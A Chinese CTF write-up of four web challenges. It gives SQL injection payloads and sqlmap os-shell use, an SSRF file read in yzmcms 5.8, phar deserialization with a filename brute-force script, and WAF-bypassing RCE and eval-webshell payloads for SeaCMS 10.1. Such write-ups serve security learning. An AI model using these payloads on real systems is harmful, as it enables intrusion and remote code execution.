easyci
后面爆出登录口令 admn/HEIHEIHEIHEI,登录上去也没什么内容
目录扫描也没发现新的,就对登录页面进行注入测试,这里的注入是盲注,回显
1
2 >username=admin' AND 3772=3772 AND 'xCyp'='xCyp&password=HEIHEIHEIHEI
username=admin' AND (SELECT 1344 FROM (SELECT(SLEEP(5)))UlpO) AND 'Hrgt'='Hrgt&password=HEIHEIHEIHEI
大写绕过 select和union过滤
后面就直接用sqlmap
1
python .\sqlmap.py -r rr.txt -tamper uppercase --os-shell
读取apache配置文件获取Web目录
1
/var/sercet/html
cat flag
1
find / |grep "flag"
ezcms
yzmcms,登录口令:admin/admin868
进入后台发现版本是 yzmcms5.8 ,yzmphp2.2
https://github.com/yzmcms/yzmcms/issues/53
模板管理 -> 采集管理 -> URL处填入 http://Your_IP/ssrf.html
,采集范围写入 <ss123></ss123>
ssrf.html
1
<ss123><a href="httpxxx://../../../../../../flag">123</a></ss123>
hellophp
Config 类的 __destruct() 函数也有写入 config.php 文件的操作,就想到 phar 反序列化,admin.php 有上传功能, index.php 中又有
file_exists($_GET['img'])
恰好可以触发 phar
1 |
|
文件路径是无法获取,但是根据 class.php 中
$path='./static/'.md5(time()).'.jpg';
可以进行爆破,本地运行下面脚本,再在浏览器上传
1
2
3
4
5
6
7
8
9
10
11
12
13 import time
import requests as req
import hashlib
def md5_encode(s):
return hashlib.md5(s.encode()).hexdigest()
while True:
url = f"http://127.0.0.1/static/{md5_encode(str(int(time.time())))}.jpg"
r = req.get(url)
if r.status_code == 200:
print(url)
break
time.sleep(1)
触发 phar 反序列化
1 /index.php/?img=phar://./static/2c7fcadf6e92d41f51d8e4d6f6094faa.jpg
绕过 disable_function
1 1=var_dump(file_get_contents ('/flag'));
大家一起来代码审计
海洋cms 10.1
后台:admin/admin
使用已经公开的漏洞,IP页面或weixin页面的rce:link
rce:
/adm1n/admin_weixin.php
自动回复处没有进行任何过滤,直接拼接后写入文件,导致rce首先要用
");
闭合,再插入代码,但是这里加了一层waf,无法直接写入 webshell,使用取反的方法
1
2
3
4
5
6
7 php > $a = "system";
php > echo urlencode(~$a);
%8C%86%8C%8B%9A%92
php > $b = "cat /flag";
php > echo urlencode(~$b);
%9C%9E%8B%DF%D0%99%93%9E%98
php >
payload
1 ");$z='%8C%86%8C%8B%9A%92';$p=~'%9C%9E%8B%DF%D0%99%93%9E%98';$z=~$z;$z($p);//
其他解
后台,百度密钥处
";system("cat /flag");eval($_GET['1']);/*
Author: AMao
Link: https://passenger-amao.github.io/2020/12/26/%E7%BA%B5%E6%A8%AA%E6%9D%AF2020/
Copyright: 本站所有文章均采用 署名-非商业性使用-相同方式共享 4.0 国际(CC BY-NC-SA 4.0) 许可协议。转载请注明出处!